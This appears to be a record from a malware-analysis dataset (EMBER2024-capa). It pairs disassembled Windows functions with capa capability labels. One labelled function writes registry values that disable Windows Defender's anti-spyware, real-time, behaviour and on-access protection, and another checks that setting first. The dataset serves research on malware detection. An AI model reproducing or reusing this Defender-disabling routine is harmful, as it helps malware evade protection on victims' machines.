joyce8/EMBER2024-capa huggingface dataset:
Function at 0x451e80
Capabilities:
Access peb ldr_data

Disassembly:
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
cmp rsp, qword [rcx + 0x10]
jbe 0x451f60
sub rsp, 0x60
mov qword [rsp + 0x58], rbp
lea rbp, [rsp + 0x58]
mov rax, qword gs:[0x28]
mov rax, qword [rax]
mov qword [rsp + 8], 0
mov qword [rsp + 0x10], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x18], xmm0
movups xmmword [rsp + 0x28], xmm0
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
lea rcx, [0x004596f0]
mov qword [rsp + 0x10], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x18], rcx
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.00459cf0
mov rax, qword [rsp + 8]
mov qword [rsp + 0x88], rax
mov rbp, qword [rsp + 0x58]
add rsp, 0x60
ret
call fcn.00459e40
jmp fcn.00451e80
Function at 0x470940
Capabilities:
Encode data using base64

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov rdx, qword [rsp + 0x20]
mov rbx, qword [rdx + 8]
lea rsi, [rbx + 0x2e]
neg rsi
imul rsi, rsi, 0x1c
movabs rax, 0x5816058160581606
mov rcx, rdx
imul rsi
sar rsi, 0x3f
sar rdx, 5
sub rdx, rsi
lea rsi, [rdx + 0x15c]
sar rsi, 0x3f
shr rsi, 0x3d
lea rdx, [rsi + rdx]
lea rdx, [rdx + 0x15c]
sar rdx, 3
cmp rdx, 0x57
jae 0x470a1b
lea rsi, [rdx + rdx*2]
lea rdi, [0x00c797c0]
mov r8, qword [rdi + rsi*8 + 8]
lea r9, [r8 + rbx]
lea r9, [r9 + 0x40]
cmp r9, 0xffffffffffffffc4
jge 0x4709c4
inc rdx
jmp 0x47099b
cmp r9, 0xffffffffffffffe0
jle 0x4709cf
dec rdx
jmp 0x47099b
mov rbx, qword [rdi + rsi*8]
mov rax, qword [rcx]
mov rsi, rdx
mul rbx
shr rax, 0x3f
add rdx, rax
mov qword [rcx], rdx
mov rdx, qword [rcx + 8]
lea rdx, [rdx + r8]
lea rdx, [rdx + 0x40]
mov qword [rcx + 8], rdx
mov rcx, rsi
shl rsi, 3
lea rdx, [rsi - 0x15c]
neg rdx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rcx
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rax, rdx
mov ecx, 0x57
call fcn.0045c7f0
nop
int3
Function at 0x140002908
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140002928
xor eax, eax
jmp 0x140002a0e
cmp qword [rcx + 0x68], 0
je 0x140002939
call fcn.140003130
jmp 0x140002a0e
mov rax, qword [rcx + 0x38]
mov rdi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140002950
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140002952
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140002984
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.14004df00
mov rax, qword [rsi + 0x50]
add r14, rbx
sub rdi, rbx
sub dword [rax], ebx
mov rcx, qword [rsi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140002a08
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x1400029bb
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x1400029e4
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14002f118
add r14, rax
sub rdi, rax
cmp rax, rbx
jne 0x140002a08
cmp rdi, rbx
ja 0x1400029c2
test rdi, rdi
je 0x140002a08
mov r9, qword [rsi + 0x80]
mov r8, rdi
mov edx, 1
mov rcx, r14
call fcn.14002f118
sub rdi, rax
sub rbp, rdi
mov rax, rbp
add rsp, 0x20
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140007ab4
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xf0
mov rax, qword [0x14006e080]
xor rax, rsp
mov qword [rbp + 0x47], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x27], xmm0
and qword [rbp + 0x37], 0
and qword [rbp + 0x3f], 0
mov r8d, 0x39
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderReal_Time_Protection_
lea rcx, [rbp + 0x27]
call fcn.14000b884
nop
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
and qword [rbp + 0x17], 0
and qword [rbp + 0x1f], 0
mov r8d, 0x19
lea rdx, str.DisableRealtimeMonitoring
lea rcx, [rbp + 7]
call fcn.14000b884
nop
mov ebx, 0xfff
mov dword [rbp - 1], 0x2000
mov r9d, 0x10
jmp 0x140007b57
mov eax, dword [rbp - 1]
shr eax, 1
mov dword [rbp - 1], eax
cmp eax, ebx
jbe 0x140007b48
mov ebx, eax
jmp 0x140007b51
add rbx, rbx
lea eax, [rbx + rbx]
mov dword [rbp - 1], eax
mov r9d, 2
lea r8, [rbp + 7]
cmp qword [rbp + 0x1f], 7
lea rax, [rbp - 1]
cmova r8, qword [rbp + 7]
mov qword [rsp + 0x30], rax
lea rdx, [rbp + 0x27]
cmp qword [rbp + 0x3f], 7
lea rax, [rbp + 3]
cmova rdx, qword [rbp + 0x27]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
cmp eax, 0xea
je 0x140007b38
test eax, eax
jne 0x140007bdb
cmp dword [rbp + 3], eax
setne bl
lea rcx, [rbp + 7]
call fcn.140009eb8
nop
lea rcx, [rbp + 0x27]
call fcn.140009eb8
mov al, bl
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140015880
mov rbx, qword [rsp + 0x100]
add rsp, 0xf0
pop rbp
ret
mov edx, eax
lea rcx, [rbp - 0x41]
call fcn.140004b48
nop
mov r8, rax
lea rdx, str.Windows_system_error_code:
lea rcx, [rbp - 0x21]
call fcn.14000ae48
nop
mov rdx, rax
lea rcx, [rbp - 0x59]
call fcn.1400016cc
lea rdx, [0x14006c8a0]
lea rcx, [rbp - 0x59]
call fcn.140028f60
int3
Function at 0x140007c18
Capabilities:
Disable windows defender features via registry on windows
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x14006e080]
xor rax, rsp
mov qword [rbp - 8], rax
lea rax, [rbp - 0x20]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140007dc1
mov rcx, qword [rbp - 0x20]
lea ebx, [rax + 4]
lea rax, [rbp - 0x10]
mov dword [rsp + 0x28], ebx
mov r9d, ebx
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp - 0x10], 1
lea rdx, str.DisableAntiSpyware
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140007dc1
and qword [rsp + 0x40], 0
lea rax, [rbp - 0x18]
mov rcx, qword [rbp - 0x20]
lea rdx, str.Real_Time_Protection
mov qword [rsp + 0x38], rax
xor r9d, r9d
and qword [rsp + 0x30], 0
xor r8d, r8d
mov dword [rsp + 0x28], 0xf003f
and dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140007dc1
mov rcx, qword [rbp - 0x18]
lea rax, [rbp - 0x10]
mov dword [rsp + 0x28], ebx
lea rdx, str.DisableRealtimeMonitoring
mov r9d, ebx
mov qword [rbp - 0x20], rcx
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140007dc1
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x10]
mov dword [rsp + 0x28], ebx
lea rdx, str.DisableBehaviorMonitoring
mov r9d, ebx
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140007dc1
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x10]
mov dword [rsp + 0x28], ebx
lea rdx, str.DisableOnAccessProtection
mov r9d, ebx
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140007dc1
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x10]
mov dword [rsp + 0x28], ebx
lea rdx, str.DisableScanOnRealtimeEnable
mov r9d, ebx
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140007dc1
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x10]
mov dword [rsp + 0x28], ebx
lea rdx, str.DisableIOAVProtection
mov r9d, ebx
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140007dc1
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140015880
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rbp
ret
Function at 0x14000de20
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov r9, qword [rcx]
mov ebx, 0x270
mov ecx, dword [r9]
cmp ecx, ebx
jne 0x14000de8b
lea r8, [r9 + 8]
mov r10d, 0x7fffffff
mov r11d, 0x9908b0df
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
and edx, r10d
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub rbx, 1
jne 0x14000de4e
mov ecx, dword [r9]
jmp 0x14000df61
cmp ecx, 0x4e0
jb 0x14000df61
lea rbx, [r9 + 0x9c4]
mov esi, 0xe3
mov edi, dword [rbx]
mov r10d, 0x7fffffff
mov r11d, 0x9908b0df
mov eax, edi
mov r8, rbx
mov edx, eax
add rbx, 4
mov edi, dword [rbx]
xor edx, edi
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rsi, 1
jne 0x14000deb1
lea rbx, [r9 + 0xd50]
mov esi, 0x18c
mov edi, dword [rbx]
mov eax, edi
mov r8, rbx
mov edx, eax
add rbx, 4
mov edi, dword [rbx]
xor edx, edi
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rsi, 1
jne 0x14000def6
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
ret
Function at 0x140013294
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14006e080]
xor rax, rsp
mov qword [rbp - 8], rax
mov rsi, r9
mov rdi, r8
mov rbx, rcx
mov qword [rbp - 0x38], rcx
xor r14d, r14d
mov dword [rbp - 0x40], r14d
mov dword [rbp - 0x10], r14d
mov r8, r9
cmp qword [r9 + 0x18], 7
jbe 0x1400132d8
mov r8, qword [r9]
mov rdx, rdi
cmp qword [rdi + 0x18], 7
jbe 0x1400132e5
mov rdx, qword [rdi]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
mov rcx, 0xffffffff80000001
mov r9d, 2
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x14001340d
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov dword [rbp - 0x40], 1
mov edx, dword [rbp - 0x10]
shr rdx, 1
jne 0x140013343
mov qword [rbx + 0x10], rdx
mov word [rbx + rdx*2], r14w
jmp 0x14001334e
xor r8d, r8d
mov rcx, rbx
call fcn.140009f1c
mov rax, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14001335b
mov rax, qword [rbx]
cmp qword [rsi + 0x18], 7
jbe 0x140013365
mov rsi, qword [rsi]
cmp qword [rdi + 0x18], 7
jbe 0x14001336f
mov rdi, qword [rdi]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
mov r9d, 2
mov r8, rsi
mov rdx, rdi
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x1400133f0
mov edx, dword [rbp - 0x10]
shr edx, 1
dec edx
cmp rdx, qword [rbx + 0x10]
ja 0x1400133c4
mov qword [rbx + 0x10], rdx
mov rax, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1400133bd
mov rax, qword [rbx]
mov word [rax + rdx*2], r14w
jmp 0x1400133d3
xor r8d, r8d
sub rdx, qword [rbx + 0x10]
mov rcx, rbx
call fcn.140009f1c
mov rax, rbx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140015880
add rsp, 0x80
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov r8d, eax
lea rcx, [rbp - 0x30]
call fcn.1400131d8
lea rdx, [0x14006c950]
lea rcx, [rbp - 0x30]
call fcn.140028f60
int3
mov r8d, eax
lea rcx, [rbp - 0x30]
call fcn.1400131d8
lea rdx, [0x14006c950]
lea rcx, [rbp - 0x30]
call fcn.140028f60
int3

Function at 0x14001432c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140014366
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14001436b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400143b4
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140052ba0]
cmp byte [rcx + rax], 0
je 0x1400143b4
dec r8
sub rdx, 1
jne 0x14001439a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140016664
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400166ae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400166ae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400166ae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400166ae
cmp dword [rcx + 0x84], 0xe
jbe 0x1400166ae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400166b0
xor al, al
add rsp, 0x28
ret

Function at 0x140023fb0
Capabilities:
Encode data using xor

Disassembly:
mov r9, r8
xor r11d, r11d
mov r10, rdx
mov r8d, r11d
cmp r9, 8
jb 0x140023fe7
mov rdx, r9
shr rdx, 3
imul rax, rdx, 0xfffffffffffffff8
add r9, rax
mov rax, qword [rcx]
add rcx, 8
xor rax, qword [r10]
add r10, 8
or r8, rax
sub rdx, 1
jne 0x140023fd0
mov rdx, r8
shr rdx, 0x20
or edx, r8d
mov r8d, edx
mov eax, edx
shr r8d, 8
or r8d, edx
shr eax, 0x10
and r8d, 0xff00
or r8d, eax
movzx eax, dl
shr r8d, 8
or r8d, eax
test r9, r9
je 0x1400240d8
sub rcx, r10
cmp r9, 8
jb 0x1400240b9
mov rax, r9
lea rdx, [r10 + 4]
and rax, 0xfffffffffffffff8
xorps xmm4, xmm4
xorps xmm3, xmm3
nop dword [rax + rax]
movd xmm2, dword [rcx + rdx - 4]
xorps xmm0, xmm0
movd xmm1, dword [rdx - 4]
lea rdx, [rdx + 8]
punpcklbw xmm2, xmm0
add r11, 8
punpcklwd xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
movd xmm1, dword [rdx - 8]
punpcklbw xmm1, xmm0
orps xmm4, xmm2
movd xmm2, dword [rcx + rdx - 8]
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
orps xmm3, xmm2
cmp r11, rax
jb 0x140024040
orps xmm3, xmm4
movdqa xmm0, xmm3
psrldq xmm0, 8
orps xmm3, xmm0
movdqa xmm0, xmm3
psrldq xmm0, 4
orps xmm3, xmm0
movd eax, xmm3
or r8d, eax
cmp r11, r9
jae 0x1400240d8
add r10, r11
sub r9, r11
nop
movzx edx, byte [rcx + r10]
movzx eax, byte [r10]
lea r10, [r10 + 1]
xor edx, eax
or r8d, edx
sub r9, 1
jne 0x1400240c0
test r8d, r8d
sete al
ret
Function at 0x14002fe08
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x14002fe3f
call fcn.140033688
mov dword [rax], 0x16
call fcn.14002f908
xor eax, eax
jmp 0x14002fecd
mov rdx, r9
mov rcx, r8
call fcn.14002fda4
mov rbx, rax
test rax, rax
je 0x14002feca
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x14002fcd0]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x14002feb7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400335fc
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14002fe9e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14002fead
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.14003c54c
jmp 0x14002feca
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14002fec7
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x140035bf8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400359f4

Function at 0x14003acd0
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14003ace6
mov al, 1
jmp 0x14003ad46
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14003acf7
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14003ad44
mov ecx, dword [rcx + 0x18]
nop
call fcn.140045084
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14003ad44
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14003ad44
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14003ad44
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14003ad46
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x14003dc5c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140016080
sub rsp, rax
mov rax, qword [0x14006e080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14003abb0
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14003dcab
mov rax, rbp
jmp 0x14003ddb3
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x122e350]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14003eba8
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x122e350]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14003ddaf
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14003ddaf
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14003eba8
test rax, rax
js 0x14003ddaf
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14003ddaf
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14003dda1
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14003dda1
cmp byte [rcx], 0xd
jne 0x14003dd87
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14003dd96
cmp byte [rcx + 1], 0xa
jne 0x14003dd96
inc rcx
jmp 0x14003dd96
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x6e5f0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14003dd69
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14003ddb3
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140015880
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14003df48
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x14122e350]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14003df9f
cmp word [rdx], r13w
jne 0x14003df9f
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14003dfa4
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14003e0c9
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14003e0ea
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14003dfdd
mov rdx, r9
mov word [rbx], cx
jmp 0x14003e004
cmp r9, r8
jae 0x14003e014
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14003dfbe
jmp 0x14003e0c9
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14003e0be
cmp dword [rsp + 0x80], esi
je 0x14003e0be
lea r8, [0x14122e350]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14003e096
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14003e066
mov word [rbx], r13w
jmp 0x14003e0c6
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14003e073
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14003e0c6
cmp word [rsp + 0x70], r13w
jne 0x14003e0a3
cmp rbx, r14
je 0x14003e060
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14003ebb0
cmp word [rsp + 0x70], r13w
je 0x14003e0c9
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x14122e350]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14003e0c3
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14003e0c9
Function at 0x14004464c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14004467c
xor eax, eax
jmp 0x14004473f
mov rbp, rbx
cmp word [rax], si
je 0x1400446a1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140044688
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140044684
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14003eda0
movsxd r14, eax
test eax, eax
jne 0x1400446df
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140044675
mov rcx, r14
call fcn.14003ec54
mov rdi, rax
test rax, rax
jne 0x1400446f8
xor ecx, ecx
call fcn.14003c54c
jmp 0x1400446d4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14003eda0
test eax, eax
jne 0x140044729
mov rcx, rdi
call fcn.14003c54c
jmp 0x140044733
xor ecx, ecx
call fcn.14003c54c
mov rsi, rdi
mov rcx, rbx
